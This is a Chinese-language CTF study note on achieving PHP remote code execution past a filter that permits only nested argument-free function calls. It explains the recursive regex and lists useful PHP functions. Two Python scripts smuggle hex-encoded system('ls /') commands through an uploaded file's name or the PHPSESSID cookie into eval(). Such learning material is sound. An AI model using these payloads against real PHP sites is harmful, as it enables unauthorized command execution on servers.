发现
某天做题,发现了一个没看懂的正则表达式
[^\W]+\((?R)?\)
新知识
为什么无参数
https://www.php.net/manual/zh/regexp.reference.recursive.php
把(?R)挖掉得到这个正则,这个正则可以匹配类似这样的字符串:phpinfo() 但是括号里面有一个递归模式,可以理解成可以递归:
phpinfo(phpinfo(phpinfo()))
只允许执行类似:
a(b(c()))
不允许执行:
a(‘123’)
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))
无参数函数
end() – 将内部指针指向数组中的最后一个元素,并输出。
next() – 将内部指针指向数组中的下一个元素,并输出。
prev() – 将内部指针指向数组中的上一个元素,并输出。
reset() – 将内部指针指向数组中的第一个元素,并输出。
each() – 返回当前元素的键名和键值,并将内部指针向前移动。
readfile() – 读取文件
getcwd() – 获取当前目录
localeconv() – 当前目录
scandir() – 目录遍历
dirname() – 获取上层目录的名字(类似向上级目录移动
chdir() – 修改当前目录位置
array_flip() – 交换 键 和 值 的内容
array_rand() – 随机返回一个 键,可配合 array_flip() 爆破出数组的值
array_reverse() – 反向数组
show_source 和 highlight_flie – 读文件
常见的三种方法
gettallheaders()
get_defined_vars()
session_id()
- getallheaders()
- 但是只能在 apache2 的环境,我们可以在 header 中加入恶意命令
var_dump(pos(getallheaders()));
- getenv()
- 可以获取当前的环境变量,配合 array_rand(array_flip()) 爆破
- get_defined_vars()
- 局限性小于 getallheaders(),可以获取 $_GET $_POST $_COOKIE $_FILE 但一般网站喜欢对 $_GET $_POST $_COOKIE 进行过滤,可以操作 $_FILE
import requests
from io import BytesIO
payload = "system('ls /');".encode('hex')
print payload
files = {
payload: BytesIO('test')
}
print files
r = requests.post('http://xxx:xxx/?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
- session_id()
- 修改 COOKIE 中 PHPSESSION 的值,(测试的时候用不了
import requests
url = 'http://xxx:xx/?code=eval(hex2bin(session_id(session_start())));'
payload = "system('ls /');".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
- 直接读取文件
- getcwd() – 获取当前目录
- scandir() – 目录遍历
- dirname() – 获取上层目录的名字(类似向上级目录移动
- chdir() – 修改当前目录位置